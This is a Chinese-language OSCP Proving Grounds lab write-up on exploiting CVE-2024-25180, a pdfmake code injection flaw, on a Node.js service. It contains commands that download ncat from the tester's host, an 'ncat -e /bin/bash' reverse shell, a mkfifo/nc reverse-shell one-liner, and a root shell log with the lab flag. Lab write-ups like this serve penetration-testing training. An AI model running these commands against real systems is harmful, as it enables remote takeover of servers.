当前位置: 首页 > news >正文

OSCP - Proving Grounds - CVE-2024-25180

主要知识点

  • 相关cve漏洞利用

具体步骤

nmap开始两个端口开放,22和1234

Nmap scan report for 192.168.54.42
Host is up (0.00069s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
1234/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

其中1234端口开放了一个pdfmake,虽然不知道具体的版本,不过google一下 发现CVE-2024-25180排名比较靠前,于是尝试一下Arbitrary Code Injection in pdfmake | CVE-2024-25180 | Snyk

将PoC中的CMD替换成下面的命令依次执行

  1. wget 192.168.45.225:8000/ncat -O /tmp/ncat
  2. chmod +x /tmp/ncat
  3. /tmp/ncat -e /bin/bash 192.168.45.225 80

反弹shell就会被创建,这里其实有别的方法,不用这么麻烦,一条命令 rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc192.168.45.225 80>/tmp/f 也可以

C:\home\kali\Documents\OFFSEC\GoToWork\CVE-2024-25180> nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.225] from (UNKNOWN) [192.168.216.42] 51610
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/proof.txt
304d16aa1f75f007766dafa3eed9ec03

 

 

 

 

http://www.lryc.cn/news/622143.html

相关文章:

  • 技术解读 | 搭建NL2SQL系统需要大模型么?
  • python re正则模块
  • Redis 缓存和 Redis 分布式锁
  • Spring中存在两个相同的Bean是否会报错?
  • PyTorch 训练神经网络模型,并集成到springboot项目中
  • STM32L051同时处理Alarm A和Alarm B中断
  • 朗空量子与 Anolis OS 完成适配,龙蜥获得抗量子安全能力
  • Nginx反向代理Tomcat实战指南
  • 测控一体化闸门驱动灌区信息化升级的核心引擎
  • C++设计模式:类间关系
  • 自定义数据集(pytorchhuggingface)
  • cut、tr、sort 和 uniq 生产典型示例
  • 微服务的编程测评系统11-jmeter-redis-竞赛列表
  • Nginx反向代理与缓存实现
  • 【论文解读】DDRNet:深度双分辨率网络在实时语义分割中的结构与原理全面剖析
  • 51单片机-驱动蜂鸣器模块教程
  • 开源数据发现平台:Amundsen Frontend Service 安装 开发者指南
  • debian13 安装过程 root配置
  • 从 LLM 到自主 Agent:OpenCSG 打造开源 AgenticOps 生态
  • Linux网络基础概念
  • 【RTOS】RT-Thread 进程间通信IPC源码级分析详解
  • [Pyro] 基础构件 | 随机性sample | 可学习参数param | 批量处理plate
  • 【3D图像技术分析及实现】3DGS与深度学习网络结合以实现跨场景迁移的研究调研
  • 电力系统之常见基础概念
  • 【秋招笔试】2025.08.15饿了么秋招机考-第二题
  • [激光原理与应用-285]:理论 - 波动光学 - 无线电磁波的频谱分配
  • [激光原理与应用-287]:理论 - 波动光学 - 电磁波既能承载能量,又能承载信息?
  • 力扣(接雨水)——单调栈
  • 在 Linux 服务器搭建Coturn即ICE/TURN/STUN实现P2P(点对点)直连
  • Vim 常用快捷键及插件